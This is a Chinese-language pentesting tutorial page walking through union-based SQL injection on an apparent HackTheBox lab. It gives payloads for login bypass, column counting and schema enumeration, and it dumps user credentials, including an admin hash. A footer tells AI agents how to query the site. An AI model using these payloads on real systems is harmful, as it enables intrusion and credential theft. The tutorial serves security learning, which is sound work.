> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-based-pentesting-web.md).

# 基于 Union 的 SQLi

使用 **Burp Suite**，我们可以拦截请求，从而进行 SQL 注入测试。

<figure><img src="/files/990caf666ba2460b8f33d67a00d30171469f78c8" alt=""><figcaption></figcaption></figure>

### 基础 SQL 注入：

为了通过一个简单的注入绕过身份验证，我们使用：

```bash
admin ' or 1=1-- -

```

<figure><img src="/files/9ddae2cc5dd4760e970d9f6718053e824f2207f6" alt=""><figcaption></figcaption></figure>

这种类型的注入会强制条件始终为真（`1=1`），从而允许访问管理员面板并绕过身份验证控制。

<figure><img src="/files/1797ec73e6a18d985519198d829747089f49c59d" alt=""><figcaption></figcaption></figure>

### 基于 UNION 的注入

通过一次注入 **基于 UNION 的 SQL**，我们尝试确定列数，以便以与数据库兼容的方式构造请求。示例：

```bash
admin' union select 1,2,3,4-- -

```

服务器返回了一个提示“登录成功”的响应，表明有 4 列。

<figure><img src="/files/27d36a228db08e8380b652f07245d36e32e4a922" alt=""><figcaption></figcaption></figure>

#### 列出数据库

要列出当前数据库名称，我们使用：

```bash
admin' union select 1,2,3,database()-- -&password=admin

```

<figure><img src="/files/2390b87f1559486985971c07d3ead8bca4f2a346" alt=""><figcaption></figcaption></figure>

然后，要获取所有可用数据库：

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(schema_name) from information_schema.schemata-- -&password=admin

```

{% endcode %}

结果： `information_schema`, `main`

<figure><img src="/files/b4b4b841dca51f2998d5f751c499e3668fc67163" alt=""><figcaption></figcaption></figure>

#### 列出表

在识别出数据库后 `main`，我们列出该库的表来探索存储的结构：

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='main'-- -

```

{% endcode %}

找到的表： `blog`, `blog_comments`, `users`.

<figure><img src="/files/20eb2964873220dd929ab6c0281172f7aa8f9648" alt=""><figcaption></figcaption></figure>

列出表的列 对于表 `users`，我们列出可用的列：

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='main' and table_name='user' -- -

```

{% endcode %}

找到的列： `email`, `id`, `name`, `密码`.

<figure><img src="/files/e56dccdb3457edbd7b55be7f2d8758eeee248423" alt=""><figcaption></figcaption></figure>

#### 用户数据提取

然后我们提取该表的数据 `users`:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(name,':',email,':',password) from main.user -- -

```

{% endcode %}

用户： `Admin` 邮箱： `admin@goodgames.htb` 密码（哈希）： `2b22337f218b2d82dfc3b6f77e7cb8ec`

<figure><img src="/files/d372538b81280df748a70c5a78bedd5d261ca359" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-based-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
